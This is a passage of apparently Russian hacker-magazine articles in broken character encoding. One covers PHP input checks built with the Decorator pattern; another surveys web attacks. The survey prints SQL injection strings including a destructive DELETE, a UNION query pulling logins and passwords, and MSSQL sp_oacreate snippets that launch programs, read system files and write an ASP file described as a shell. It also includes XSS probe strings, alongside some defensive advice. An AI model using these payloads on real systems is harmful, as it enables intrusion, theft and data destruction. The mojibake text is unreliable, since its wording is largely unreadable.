äàííûõ MySQL (ðåæå — PostgreSQL). Äîñòóïê äàííûì â òàêîì ñëó÷àå îñóùåñòâëÿåòñÿ ïðèïîìîùè ÿçûêà çàïðîñîâ SQL.  òàêèå çàïðîñû ÷àñòîïðèõîäèòñÿ âñòàâëÿòü âíåøíèå äàííûå, íàïðèìåð,äëÿ ãîñòåâîé êíèãè â áàçå äàííûõ íàäî ñîõðàíèòü,êàê ìèíèìóì, íèê è ñîîáùåíèå ïîëüçîâàòåëÿ.ßçûê SQL î÷åíü ãèáîê, è ïîýòîìó çäåñü íàäî áûòüâíèìàòåëüíûì ê âõîäÿùèì äàííûì.÷àòû, ãîñòåâûå êíèãè, ôîðóìû.  äàííîì ñëó-÷àå íóæíî âîëíîâàòüñÿ òàêæå è î âçëîìå äðóãîãî òèïà:âçëîìùèê ìîæåò ïîïûòàòüñÿ âîñïîëüçîâàòüñÿòýãàìè HTML, ïîýòîìó âîîáùå íåëüçÿ äîïóñêàòüââîäà ñèìâîëîâ «». Èõ íàäî ëèáî ýêðàíèðîâàòü,ëèáî âûâîäèòü ñîîáùåíèå î íåïðàâèëüíîìââîäå. Íåñîáëþäåíèå ýòîãî ïðîñòîãî ïðàâèëà îòêðûâàåòøèðîêóþ äîðîãó çëîìó õàêåðó.ConcreteDecoratorB+Operation()+AddedBehavior()Component!Operation()Decorator::Operation();AddedBehavior();ðåøåíèå ïðîáëåìû. Âñïîìíèì, ÷òî PHP5 ñàìïî ñåáå äîâîëüíî íåïëîõî ïîääåðæèâàåò îáúåêòíîîðèåíòèðîâàííîåïðîãðàììèðîâàíèå. Ýòî — áîëååìîùíûé è ãèáêèé ïîäõîä, ÷åì ñàìîñòîÿòåëüíîåíàïèñàíèå ïðîâåðîê, íà êîòîðûé ìû è îáðàòèì ñâîåâíèìàíèå.Èòàê, ïóñòü ìû ðåøèëè, ÷òî â ïåðâóþ î÷åðåäüáóäåì ïðîâåðÿòü ðàçìåð ñòðîêè. Ìîæíî íàïèñàòüñîîòâåòñòâóþùèé êëàññ. Äàëåå íàì ïðèõîäèò â ãîëîâó,÷òî íåïëîõî áû ñäåëàòü ïðîâåðêó íà îòñóòñòâèåñëåøåé è îáðàòíûõ ñëåøåé. Ìûñëü îïûòíîãîïðîãðàììèñòà íà ýòîì íå îñòàíîâèòñÿ, — îí ïðèäóìàåòäðóãèå ïðîâåðêè. Êàê æå íàì èõ âñå ó÷èòûâàòü?Íàì âåäü áóäåò íóæíî ïðèìåíÿòü ýòè ïðîâåðêèâ ïðîèçâîëüíîì ïîðÿäêå.Äëÿ íà÷àëà — îïðåäåëèìñÿ ïðåäåëüíî ÷åòêîñ òåì, ÷åãî íàì íóæíî äîñòè÷ü. ïåðâóþ î÷åðåäü, íàì íóæíî äèíàìè÷åñêè äîáàâëÿòüíîâîå ïîâåäåíèå îáúåêòó, òî åñòü ðàçëè÷íîãîðîäà ïðîâåðêè. Ìîæíî, êîíå÷íî, ïðèäóìàòü ðåøåíèåñàìîìó, íî ó ïðîãðàììèñòîâ åñòü ïîãîâîðêà:«Íå íàäî èçîáðåòàòü âåëîñèïåä». Ëó÷øå âîñïîëüçîâàòüñÿóæå ãîòîâûì ðåøåíèåì — øàáëîíîì ïðîåêòèðîâàíèÿ,êîòîðûé èñïîëüçóþò ïðîôåññèîíàëüíûåïðîãðàììèñòû ñ îãðîìíûì îïûòîì.  êíèãå «Áàíäà÷åòûðåõ» (Gang of Four, GoF) åñòü ïîäõîäÿùèé íàìøàáëîí ïðîåêòèðîâàíèÿ — Decorator. «Decorator» ïåðåâîäèòñÿêàê «óêðàøàòåëü», òî åñòü ìû óêðàøàåìíàøó ïðîâåðêó äëèíû ñòðîêè äîïîëíèòåëüíûìè ïðîâåðêàìè.Ïðèâåäó ñõåìó, ïî êîòîðîé ìû áóäåì äàëüøåäåéñòâîâàòü (ñìîòðè ñõåìó 1).Component (Checker) — ýòî ïðîñòî àáñòðàêòíûéêëàññ ïðîâåðêè, ConcreteComponent (StringChecker) —ýòî êëàññ äëÿ ïðîâåðêè äëèíû ñòðîêè, êîòîðûé ìû áóäåìäåêîðèðîâàòü äîïîëíèòåëüíûì ïîâåäåíèåì. Decorator(Decorator) — ýòî àáñòðàêòíûé êëàññ, êîòîðûéíóæåí äëÿ îðãàíèçàöèè öåïî÷êè äåêîðàòîðîâ. ConcreteDecorator(SlashChecker, BackSlashChecker) — ýòîêëàññû ñ äîïîëíèòåëüíûì ïîâåäåíèåì (â íàøåì ñëó-÷àå ýòî ïðîâåðêè). Òåïåðü ïðèâåäó êîä (ñì. ëèñòèíã 1)Ýòîò êîä äîëæåí âûäàâàòü òàêîé ðåçóëüòàò:Ïðîâåðêà ñòðîêè: 'Ñòðîêà /äëÿ/ ïðîâåðêè'Ïðîâåðêà ñòðîêè íà îáðàòíûå ñëåøè:Ïðîâåðêà ïðîéäåíàÏðîâåðêà ñòðîêè íà ñëåøè:Ïðîâåðêà íå ïðîéäåíàÏðîâåðêà ðàçìåðà ñòðîêè:Ïðîâåðêà ïðîéäåíàÏðîâåðêà ñòðîêè: '1365m434\'Ïðîâåðêà ñòðîêè íà ñèìâîëû,îòëè÷íûå îò öèôð: Ïðîâåðêà íå ïðîéäåíàÊîä «äëÿ ðåøåíèÿ ïðîáëåì»(1)


29abstract class Decorator extends Checker// äåêîðàòîð äëÿ êëàññà StringChecker{private $MyChecker = null; // ïåðåìåííàÿ äëÿ ïîñòðîåíèÿ öåïî÷êè äåêîðàòîðîâ// êîíñòðóêòîð çàïîìèíàåò ñëåäóþùèé äåêîðàòîðfunction __construct(Checker $MyChecker){$this->MyChecker = $MyChecker;}public function Check($StringToCheck) // âûçûâàåòñÿ ôóíêöèÿ ïðîâåðêè $MyChecker{if ($this->MyChecker != null)$this->MyChecker->Check($StringToCheck);}}class SlashChecker extends Decorator // ïðîâåðêè ñòðîêè íà ñëåøè{public function Check($StringToCheck){echo "Ïðîâåðêà ñòðîêè íà ñëåøè: ";echo $this->Result(!strstr($StringToCheck, '/'));parent::Check($StringToCheck);}}class BackSlashChecker extends Decorator // ïðîâåðêè ñòðîêè íà îáðàòíûå ñëýøè{public function Check($StringToCheck){echo "Ïðîâåðêà ñòðîêè íà îáðàòíûå ñëåøè: ";echo $this->Result(!strstr($StringToCheck, '\\'));parent::Check($StringToCheck);}}// ïðîâåðêà ñòðîêè íà ñèìâîëû, îòëè÷íûå îò öèôð, ò.å.ñòðîêà äîëæíà ñîäåðæàòü îäíè öèôðûclass DigitsChecker extends Decorator{public function Check($StringToCheck){echo "Ïðîâåðêà ñòðîêè íà ñèìâîëû, îòëè÷íûå îò öèôð: ";$IsOK = True;for ($i = 0; $i < strlen($StringToCheck); $i++){if ( ($StringToCheck{$i} < '0') || ($StringToCheck{$i} > '9') ){$IsOK = False;}}echo $this->Result($IsOK);parent::Check($StringToCheck);}}$S1 = "Ñòðîêà /äëÿ/ ïðîâåðêè";echo "Ïðîâåðêà ñòðîêè: '$S1'";$Checker1 = new BackSlashChecker(new SlashChecker(new StringChecker()));$Checker1->Check($S1);echo "";$S2 = "1365m434\\";echo "Ïðîâåðêà ñòðîêè: '$S2'";$Checker2 = new DigitsChecker(new BackSlashChecker(new StringChecker()));$Checker2->Check($S2);?>Ïðîâåðêà ñòðîêè íà îáðàòíûå ñëåøè:Ïðîâåðêà íå ïðîéäåíàÏðîâåðêà ðàçìåðà ñòðîêè:Ïðîâåðêà ïðîéäåíàÊëàññ Checker ïðåäñòàâëÿåò ñîáîé àáñòðàêòíûéêëàññ, òî åñòü â íåì îáúÿâëåíû ñïåöèàëüíûå ôóíêöèèäëÿ ïðîâåðêè, íî èñïîëüçîâàòü ìû èõ íå ñìîæåì,òàê êàê îíè íå ðåàëèçîâàíû. Íàïðèìåð, îáúÿâëåíàôóíêöèÿ Check äëÿ ïðîâåðêè ñòðîêè.  êëàññåStringChecker ôóíêöèÿ Check óæå ðåàëèçîâàíàäëÿ ïðîâåðêè ðàçìåðà ñòðîêè, à àáñòðàêòíîì êëàññåDecorator äîáàâëåíà ïåðåìåííàÿ MyChecker äëÿîðãàíèçàöèè öåïî÷êè äåêîðàòîðîâ.Ôóíêöèÿ __construct(Checker $MyChecker) —ýòî êîíñòðóêòîð, êîòîðûé âûçûâàåòñÿ ïðè ñîçäàíèèîáúåêòà êëàññà. Êîíñòðóêòîðó ïåðåäàåòñÿîáúåêò Checker, êîòîðûé áóäåò ñîõðàíåí äëÿ âûçîâàôóíêöèè Check. Ôóíêöèÿ Check êëàññà Decoratorïðîñòî âûçûâàåò $MyChecker!Check($String-ToCheck).  êëàññàõ äëÿ êîíêðåòíûõ ïðîâåðîê íóæíîïåðåïèñàòü ôóíêöèþ Check è íå çàáûòü â êîíöååå âûçâàòü parent::Check($StringToCheck) (Checkêëàññà Decorator). Ïîñìîòðèì, êàê ýòà ñèñòåìà ðàáîòàåò.Íåîáõîäèìî ñîçäàòü îáúåêò, êîòîðûé áóäåòâûïîëíÿòü ïðîâåðêó (äîïóñòèì, íàì íàäî ïðîâåðèòüðàçìåð ñòðîêè, òî, ñîñòîèò ëè ýòà ñòðîêà èç îäíèõöèôð è åñòü ëè â íåé ñëåøè):$Checker = new DigitsChecker(newBackSlashChecker(new StringChecker()));òåïåðü ïðîñòî âûçîâåì ìåòîä Check:$Checker->Check($S); // $S —ñòðîêà äëÿ ïðîâåðêèÏðîñëåäèì öåïî÷êó âûçîâîâ. Îáúåêò $Checker ÿâëÿåòñÿîáúåêòîì êëàññà DigitsChecker, ïîýòîìóñíà÷àëà áóäåò ïðîèçâåäåíà ïðîâåðêà íà íàëè÷èåñèìâîëîâ, îòëè÷íûõ îò öèôð. Íî â êîíöå ýòîãî ìåòîäàñòîèò ñòðîêà, êîòîðàÿ âûçûâàåò ðîäèòåëüñêèéìåòîä Check. Ìåòîä Check êëàññà Decoratorâûçîâåò BackSlashChecker::Check, à îí, â ñâîþî÷åðåäü, âûçîâåò StringChecker::Check, íà ÷åìïðîâåðêà è çàêîí÷èòñÿ.äåëàåì âûâîäû. Áåçóñëîâíî, ìîæíî áûëî áûïîïûòàòüñÿ ðåàëèçîâàòü òî æå ñàìîå ïðè ïîìîùèôóíêöèé, íî ðåøåíèå ïîëó÷èëîñü áû íå íàñòîëüêîãèáêèì. À âîò ñ ïîìîùüþ êëàññîâ ìîæíî ñîçäàòüöåëóþ èåðàðõèþ «ïðîâåðÿëüùèêîâ», êîìáèíèðóÿèõ â ïðîèçâîëüíîé ïîñëåäîâàòåëüíîñòè.Ïðèìåíåíèå øàáëîíà ïðîåêòèðîâàíèÿ Decoratorïîçâîëèëî ñîçäàòü äîñòàòî÷íî ãèáêóþ è íàäåæíóþñèñòåìó ïðîâåðêè. Äëÿ ñîçäàíèÿ íîâîãî òèïàïðîâåðêè äîñòàòî÷íî ïðîñòî ñîçäàòü íîâûé êëàññîò êëàññà Decorator è ïåðåîïðåäåëèòü ìåòîäCheck. Åñëè íåîáõîäèìî, ÷òîáû ïîñëåäîâàòåëüíîñòüïðîâåðîê áûëà îáðàòíîé, òî åñòü ïåðâîé âûïîëíÿëàñüStringChecker::Check, íàäî ïðîñòî ïîìåñòèòüâûçîâ ìåòîäà Decorator::Check($String-ToCheck) â íà÷àëå.


30 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07âíóòðèìûøå÷íîè âíóòðèâåííîÎáçîð òåõíîëîãèé âçëîìà âåá-ðåñóðñîâÏÐÀÊÒÈ×ÅÑÊÈ ËÞÁÎÉ ÑÀÉÒ ÌÎÆÍÎ «ÓÁÈÒÜ» ÏÐÈ ÏÎÌÎÙÈ ÑÌÅÐÒÅËÜÍÛÕ ÈÍÚÅÊÖÈÉ.ÒÀÊÎÉ ÓÊÎË ÌÎÆÍÎ ÑÄÅËÀÒÜ ÒÐÅÌß ÑÏÎÑÎÁÀÌÈ: ÈÍÚÅÊÖÈÅÉ ÊÎÄÀ, ÈÍÚÅÊÖÈÅÉ SQLÈ ÌÅÆÑÀÉÒÎÂÛÌÈ ÑÊÐÈÏÒÀÌÈ. ÏÐÎ ÂÑÅ ÒÐÈ ÂÈÄÀ ÏÈÑÀËÎÑÜ Î×ÅÍÜ ÌÍÎÃÎ ÑÒÀÒÅÉ, ÝÒÎÌ ÆÅ ÌÀÒÅÐÈÀËÅ ß ÕÎ×Ó ÍÅ ÏÐÎÑÒÎ ÐÀÑÑÊÀÇÀÒÜ, ÍÎ È ÏÐÎÀÍÀËÈÇÈÐÎÂÀÒÜÂÑÅ ÂÈÄÛ ÈÍÚÅÊÖÈÉÁîðèñ Âîëüôñîíborisvolfson@gmail.com, http://splendot.comÑêðèïòâçëîìùèêàÑêðèïò,âûïîëíÿåìûéíà ñåðâåðåÏëîõàÿ îáðàáîòêàâõîäíûõ äàííûõcode injection. «Ýòîò âèä óÿçâèìîñòåé, ñëàâàÁîãó, ïîòèõîíüêó îòìèðàåò è ôàêòè÷åñêè âñòðå÷àåòñÿòîëüêî íà ñàìîïèñíûõ ñàéòàõ», — òàêèå ìûñëèáðîäèëè ó ìåíÿ â ãîëîâå ïåðåä íàïèñàíèåì ñòàòüè.«Âî-ïåðâûõ, ÷òîáû òàêóþ äûðó ñäåëàòü, íóæíî íàïèñàòüðåàëüíî êðèâîé êîä. Âî-âòîðûõ, ýòî îäèí èçñàìûõ ñòàðûõ è õîðîøî îïèñàííûõ âèäîâ óÿçâèìîñòåé…»,â îáùåì, êðàòêî êîñíåìñÿ òåìû èíúåêöèèêîäà, è òóò æå ïåðåéäåì ê íîðìàëüíûì óÿçâèìîñòÿì».Èìåííî òàê ÿ è ðàññóæäàë, ïîýòîìó çà òåêóùèìèíîâîñòÿìè ïî òåìå ñõîäèë â Google ÷èñòîäëÿ ïðîôîðìû. Êàêîâî æå áûëî ìîå óäèâëåíèå,êîãäà ïî çàïðîñó «code injection» ÿ íàøåë èíôîðìàöèþî äûðêàõ â äîâîëüíî èçâåñòíûõ ñèñòåìàõ âåäåíèÿáëîãîâ è óïðàâëåíèÿ êîíòåíòîì. òåîðèè âñå âûãëÿäèò ïðîñòî: åñòü ñêðèïò,èñïîëíÿåìûé íà ñåðâåðå, â êîòîðûé âçëîìùèêóíåîáõîäèìî âñòðîèòü ñâîé êîä. Ïðîâåðíóòü òàêóþìàõèíàöèþ äîâîëüíî ïðîñòî, åñëè ñîáëþäåíûäâà óñëîâèÿ. Âî-ïåðâûõ, âåá-ðàçðàáîò÷èê äîëæåíèñïîëüçîâàòü êîíñòðóêöèþ include ñ ïàðàìåòðîìïåðåìåííîé, à âî-âòîðûõ, äîëæåí ïëîõî ïðîâåðÿòüäàííûå, ïîñòóïàþùèå îò ïîëüçîâàòåëÿ. Íàèáîëåå÷àñòî òàêàÿ ñèòóàöèÿ âîçíèêàåò â ïðîñòûõñêðèïòàõ:HTML + PHPÑîîòâåòñòâåííî, ðàáîòà èäåò ñî ññûëêàìè òèïàhttp://tralivali/index.php?page=about.php. Ñàìîå áåçîáèäíîå,÷òî ìîæíî ñäåëàòü — ýòî ïðîñìîòðåòü èíôîðìàöèþî PHP (è íå òîëüêî):Ñõåìà èíúåêöèè êîäà


31PHPÑîçäàâ òàêîé ôàéë ó ñåáÿ íà ñåðâåðå, ïðîñòî âêëþ-÷àåì åãî â çàïðîñ âìåñòî about.php — è âèäèì âñþèíôîðìàöèþ íà ýêðàíå. Òàêèì îáðàçîì, ìû âíåäðèëèïðîèçâîëüíûé êîä â ñêðèïò íà ñåðâåðå è ïîëó÷èëèíåîáõîäèìóþ èíôîðìàöèþ. Íî ýòî òîëüêîöâåòî÷êè, âåäü ìîæíî ïðè ïîìîùè PHP ñäåëàòüâñå, ÷òî íàøåé äóøå óãîäíî.Íàïèñàâ âûøåîïèñàííûé ïðèìåð, ÿ çàäóìàëñÿî åãî íàèãðàííîñòè è çàøåë â Ãóãë. Êàêîâî æåáûëî ìîå óäèâëåíèå, ÷òî ïî ñîîòâåòñòâóþùåìó çàïðîñó3 ñàéòà èç ïåðâîé äåñÿòêè áûëè óÿçâèìû.Âîèñòèíó — äåíü îòêðûòèé ;).SQL Injection. Ïðèñòóïèì êî âòîðîìó áëþäó —âìåñòî áîðùà ó íàñ èíúåêöèÿ SQL. Äàâíûì-äàâíî,êîãäà ïî çåìëå åùå õîäèëè äèíîçàâðû, âåá-ïðîãðàììåðûèñïîëüçîâàëè äëÿ õðàíåíèÿ äàííûõ òåêñòîâûåôàéëû. Ïîòîì, êîãäà ÷åëîâåê èçîáðåë êîëåñî,âåá-ðàçðàáîò÷èêè ïðèäóìàëè áàçû äàííûõè ñòàëè õðàíèòü âñå â íèõ. È áûëî âñåì ñ÷àñòüå —SQL-êîäâçëîìùèêàÇàïðîñê áàçå äàííûõÑõåìà SQL-èíúåêöèèÏëîõàÿ ôèëüòðàöèÿââîäà íà SQL-îïåðàòîðûè cïèñîê ïîëüçîâàòåëåé òóäà çàñóíóòü ìîæíî, è âñåäîêóìåíòû íà ñàéòå ïîëîæèòü. Íî îäíàæäû îäèíóìåëåö ñëó÷àéíî ââåë â ôîðìó àïîñòðîô, è âûäàëñêðèïò SQL-îøèáêó. Ïðî÷èòàë óìåëåö ñîîáùåíèå,ïîäóìàë íåìíîãî è ââåë âìåñòî àïîñòðîôà ' OR'1'='1’, åùå íåìíîãî ïîêîëäîâàë è ñòàë ñ òåõ ïîð àäìèíèñòðàòîðîì.Íà òîì è ñàéòó êîíåö, à êòî ïîíÿë— ìîëîäåö. À êòî íå ïîíÿë — äëÿ òåõ ïîÿñíþ ;).Ðàáîòà ñ áàçîé âåäåòñÿ íà ÿçûêå SQL, íàïðèìåð,÷òîáû ïðîâåðèòü, ÷òî ïîëüçîâàòåëü ñóùåñòâóåò,ìîæíî ñäåëàòü òàêîé çàïðîñ ïî ëîãèíó:JavaScriptâçëîìùèêàÏëîõàÿ ôèëüòðàöèÿJavaScriptÑòðàíèöà,êîòîðàÿ áóäåòïîêàçàíà ïîëüçîâàòåëþÑõåìà ìåæñàéòîâîãî ñêðèïòèíãàSQLSELECT * FROM users WHERE username='$username'À òåïåðü ïîäñòàâü â çàïðîñ àïîñòðîô èëè ' OR '1'='1’è ïîñìîòðè, ÷òî ïîëó÷èòñÿ. Ôàêòè÷åñêè, ìû ìîæåìâûïîëíèòü ïðîèçâîëüíûé SQL-çàïðîñ, è ñëó÷èòüñÿ÷òî-íèáóäü íåõîðîøåå:SQL'; DELETE FROM customers WHERE 1or username = 'Ñíèïåòû MSSQL-èíúåêöèé äëÿ ActiveX«Advanced SQL Injection In SQL Server Applications»Çàïóñêàåì áëîêíîòdeclare @o intexec sp_oacreate 'wscript.shell', @o outexec sp_oamethod @o, 'run', NULL, 'notepad.exe'[Ñìîòðèì ôàéë boot.ini]declare @o int, @f int, @t int, @ret intdeclare @line varchar(8000)exec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1exec @ret = sp_oamethod @f, 'readline', @line outwhile( @ret = 0 )beginprint @lineexec @ret = sp_oamethod @f, 'readline', @line outendÏîëó÷àåì shelldeclare @o int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1exec @ret = sp_oamethod @f, 'writeline', NULL,''[Ñåðâåð ãîâîðèò, ÷òî îí çàõâà÷åí]declare @o int, @ret intexec sp_oacreate 'speech.voicetext', @o outexec sp_oamethod @o, 'register', NULL, 'foo', 'bar'exec sp_oasetproperty @o, 'speed', 150exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528waitfor delay '00:00:05'(1)Õî÷ó êèíóòü åùå ïàðó õîðîøèõ èäåé, êàê ìîæíî âîñïîëüçîâàòüñÿSQL-èíúåêöèåé. Äëÿ ýòîãî ìû ðàññìîòðèìäåòàëè äèàëåêòîâ ÿçûêà SQL ó ðàçíûõ ïðîèçâîäèòåëåé.Íà÷íåì ñ MySQL, êîòîðûé äåëàåò òî, ÷òî ÿîò íåãî íèêàê íå îæèäàë ;). À ïðîáëåìà ïðîñòà: åñëèSELECT-çàïðîñ ïîäâåðæåí èíúåêöèè, òî íå ôàêò, ÷òîåãî ðåçóëüòàò áóäåò âûâåäåí íà ýêðàí, íî åñëè âíèìàòåëüíîïî÷èòàòü ðóêîâîäñòâî ïî MySQL, òî ìîæíîíàéòè çàìå÷àòåëüíûé ôóíêöèîíàë — ðåçóëüòàò çàïðîñàìîæíî ïåðåíàïðàâèòü â ôàéë!SQLSELECT FROM INTO OUTFILE '';Òåïåðü îñòàëîñü íàéòè êàòàëîã, êîòîðûé íàñ ïðèþòèò. ñëó÷àå ñ CMS âñå ðåøàåòñÿ äîâîëüíî ïðîñòî — ïî÷òèâñåãäà åñòü êàòàëîã äëÿ çàãðóçêè ôàéëîâ upload.Èìåííî â òàêîé êàòàëîã è ñòîèò ïåðåíàïðàâëÿòü âûâîä.Íà÷èíàÿ ñ ÷åòâåðòîé âåðñèè, MySQL ïîääåðæèâàåòîáúåäèíåíèå çàïðîñîâ ïðè ïîìîùè êîìàíäûUNION. Òàêèì îáðàçîì, ìîæíî âûâåñòè äîïîëíèòåëüíóþèíôîðìàöèþ èç ïðîèçâîëüíîé òàáëèöû.Ïîñìîòðèì, êàê ýòî âûãëÿäèò íà ïðèìåðå:SQLSELECT title, description FROM articlesWHERE id=’$id’;Title è description èìåþò òèï varchar, ïîýòîìó ïåðåìåííîé$id íóæíî ïðèñâîèòü òàêîå çíà÷åíèå, ÷òîáûïðè ïîäñòàíîâêå ïîëó÷èëñÿ ñëåäóþùèé çàïðîñ:SQLSELECT title, description FROM articlesWHERE id=’123123’


32 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07Ñðàâíåíèå èíúåêöèéÍàçâàíèå Îïàñíîñòü Ðàñïðîñòðàííåíîñòü Ñëîæíîñòü çàùèòû Îáúåêò àòàêèCode injection càìàÿ íèçêàÿ íèçêàÿ ñêðèïòâûñîêàÿ(ñ ïðèâåëåãèÿìèâåá-ñåðâåðà)SQL Injection âûñîêàÿ ñðåäíÿÿ ñðåäíÿÿ áàçà äàííûõXSS ñðåäíÿÿ âûñîêàÿ âûñîêàÿ êîíå÷íûéïîëüçîâàòåëüUNIONSELECT login, password FROM users;/*‘;Îáðàòè âíèìàíèå, êàê ÿ èñïîëüçîâàë êîììåíòàðèé,— ïðè Union-èíúåêöèÿõ ýòî ñòàíäàðòíàÿ ïðàêòèêàîòñå÷åíèÿ íåíóæíîé ÷àñòè ñòðîêè.MS SQL Server — âîîáùå øòóêà âåñåëàÿ.Ïðè ïîìîùè SQL íà íåì ìîæíî äàæå çàïóñêàòüïðèëîæåíèÿ. Êîíêðåòíûå ïðèìåðû èíúåêöèé ñìîòðèíà âðåçêå è ïîëüçóéñÿ íà çäîðîâüå ;).ïîèñê óÿçâèìîñòåé òèïà code injection (èñòî÷íèê:«Ten Security Checks for PHP»). Ñòàðàéñÿ íå èñïîëüçîâàòüïåðåìåííûå â êà÷åñòâå ïàðàìåòðîâ óôóíêöèé readfile, fopen, file, include, require. Åñëè ïîäîáíûéôóíêöèîíàë âñå-òàêè íåîáõîäèì, òî ìîæíîïîïðîáîâàòü çàìåíèòü ïåðåìåííûå êîíñòàíòàìè.Ïðè èñïîëüçîâàíèè ïåðåìåííûõ ñëåäóåò îãðàíè-÷èòü ôàéëû, êîòîðûå ìîãóò áûòü èñïîëüçîâàíû, çàðàíååîïðåäåëåííûì ñïèñêîì:PHP$valid_file = array("index.php" => "","funct.php" => "","common.php" => "");if (!isset($valid_files[$page])) {die("Äàííûé ôàéë íåëüçÿèñïîëüçîâàòü");}Åñëè íàì äåéñòâèòåëüíî íåîáõîäèìî èñïîëüçîâàòüôàéë, èìÿ êîòîðîãî îïðåäåëÿåòñÿ äèíàìè÷åñêè,òîãäà ñòîèò ïðîâåðÿòü åãî ñîîòâåòñòâóþùèìðåãóëÿðíûì âûðàæåíèåì:PHPif ( !(eregi("^[a-z_./]*$", $page) &&!eregi("\\.\\.", $page)) ) {die("Äàííûé ôàéëíåëüçÿ èñïîëüçîâàòü");} ëþáîì ñëó÷àå áóäåò òàêæå ïîëåçíî íàñòðîèòü îïöèèallow_url_fopen è open_basedir â ôàéëå php.ini.XSS. ß ñëåæó çà íîâîñòíûìè ðàññûëêàìè î äûðàõâ áåçîïàñíîñòè îäíîé CMS. 99% óÿçâèìîñòåé âìîäóëÿõ ýòîé ñèñòåìû — XSS. Ýòèì-òî è îïàñåí äàííûéâèä èíúåêöèé — îò íåãî ÷ðåçâû÷àéíî òðóäíî çàùèòèòüñÿ,è XSS ïîðîé ïîäâåðæåíû äàæå ïîïóëÿðíûåäâèæêè è êðóïíûå ñàéòû (à-ëÿ MySpace). íàøå âðåìÿ íà áîëüøèíñòâå ñàéòîâ ïîëüçîâàòåëèèìåþò âîçìîæíîñòü ñîçäàâàòü ñâîè ìàòåðèàëûè êîììåíòèðîâàòü ÷óæèå. Äëÿ êðàñèâîãîîôîðìëåíèÿ ïîëüçîâàòåëþ äàåòñÿ âîçìîæíîñòüââîäèòü äàííûå â ôîðìàòå HTML. Ââîä HTML-êîäàìîæåò áûòü ðàçðåøåí íàïðÿìóþ, ëèáî ïðè ïîìîùèWYSIWYG-ðåäàêòîðà. Êàçàëîñü áû, âñå äîâîëüíû!Îñîáåííî âçëîìùèêè ;). Åñòü õîðîøàÿ ïîñëîâèöà:«Ãäå HTML, òàì è JavaScript». Òàêèì îáðàçîì,ïðè ââîäå ìîæíî èñïîëüçîâàòü òåã äëÿ èñïîëíåíèÿïðîèçâîëüíîãî JavaScript (è íå òîëüêîåãî, êñòàòè). À åñëè ìû ìîæåì èñïîëüçîâàòü ñêðèïòû,êîòîðûå èñïîëíÿþòñÿ íà ñòîðîíå ïîëüçîâàòåëÿ,çíà÷èò, ìû ìîæåì óêðàñòü åãî êóêè! À òóò óæå è äîâçëîìà àêêàóíòà íåäàëåêî…ôðàãìåíòèðîâàííûå XSS-àòàêè. ×àñòî áûâàåòòàê, ÷òî èíôîðìàöèÿ, ââîäèìàÿ ïîëüçîâàòåëåì,õîðîøî ôèëüòðóåòñÿ, è ê ôîðìå íà êðèâîé êîçåíå ïîäñòóïèøüñÿ. Íî åñëè â íåé íåñêîëüêî ïîëåé,íàïðèìåð, «íàçâàíèå ìàòåðèàëîâ» è «ñîäåðæàíèåìàòåðèàëîâ», òî ìîæíî ïîïðîáîâàòü áîëåå ñëîæíûéâèä àòàêè — ôðàãìåíòèðîâàííûé. Ïðè òàêîìïîäõîäå, íåîáõîäèìî, ÷òîáû äàííûå èç ðàçíûõ ïîëåéôîðìû âûâîäèëèñü ïîñëåäîâàòåëüíî, è òîãäàïîÿâëÿåòñÿ âåðîÿòíîñòü òîãî, ÷òî âìåñòå «áåçîáèäíûåñòðî÷êè» ñòàíóò ãðîçíûì îðóæèåì.àóäèò XSS-óÿçâèìîñòåé (èñòî÷íèê: «HTMLCode Injection and Cross-site scripting»). Ïðîâåðêàôîðì íà èñïîëíåíèå ñêðèïòà. Îòêðûâàåì HTMLñòðàíèöóäëÿ àóäèòà è â êàæäîå ïîëå ïîî÷åðåäíîââîäèì ñëåäóþùåå:ÑÎÖÈÀËÜÍÛÉÈÍÆÈÍÈÐÈÍÃBY EXAMPLE×òîáû óçíàòü ïàðîëü ÷åëîâåêà, ìîæíîèñïîëüçîâàòü ñâîè çíàíèÿ âåá-òåõíîëîãèé,à ìîæíî — åãî äîâåð÷èâîñòü.Ýòî îáû÷íî íàçûâàþò ñîöèàëüíûì èíæèíèðèíãîì.Õî÷ó ðàññêàçàòü îäèí ïðèìåðïîäîáíîãî ïðèåìà, íàäåþñü, òû ñäåëàåøüâûâîäû :). Öåëü: ïîëó÷èòü ëîãèíè ïàðîëü ÷åëîâåêà åãî àêêàóíòà íà ñàéòå.alert('CSSVulnerable')&{alert('CSS Vulnerable')};Äàëüøå æìåì êíîïêó «Îòïðàâèòü», è åñëè â ðåçóëüòàòåâûñêàêèâàåò ñîîáùåíèå èëè ïîÿâëÿþòñÿîøèáêè íà ñòðàíè÷êå, òî ôîðìà óÿçâèìà.Ïðîâåðêà GET-çàïðîñîâ íà èñïîëíåíèÿ ñêðèïòà. Òåïåðüòî æå ñàìîå äåëàåì ññûëêàìè âèäà «?var=qwerty»(àíàëîãè÷íûì îáðàçîì ïðîâåðèì è êóêè).HTML-èíúåêöèÿ. Âî âñå ýëåìåíòû ââîäà ïðîáóåìâñòàâèòü '';!--"=&{()}. Ñòðîêà íà÷èíàåòñÿñ äâóõ àïîñòðîôîâ è çàêàí÷èâàåòñÿ ôèãóðíîéñêîáêîé. Íà ñëåäóþùåé ñòðàíèöå èùåì«» (áåç êàâû÷åê), — åñëè íàøëè, òîñòðàíèöà óÿçâèìà. Òàêæå îñòàåòñÿ âîçìîæíîñòüâçëîìà, åñëè ÷àñòü ñèìâîëîâ íå çàýêðàíèðîâàëàñü.ñðàâíåíèå è àíàëèç. Ó âñåõ îïèñàííûõ âûøåàòàê ìíîãî îáùåãî. Êàê ïðàâèëî, îíè ïðîèçâîäÿòñÿíà õîðîøî çàùèùåííûé è íàñòðîåííûé ñåðâåð.Òî åñòü ïî ÷àñòè àäìèíèñòðèðîâàíèÿ âîïðîñîâíå âîçíèêàåò, ïîýòîìó ïðèõîäèòñÿ èñêàòü ïðîáåëûâ ðàáîòå ïðîãðàììèñòîâ. Ñàìîé îïàñíîé, íà ìîéâçãëÿä, äûðîé ÿâëÿåòñÿ âîçìîæíîñòü âûïîëíèòüïðîèçâîëüíûé PHP-êîä íà ñòîðîíå ñåðâåðà, 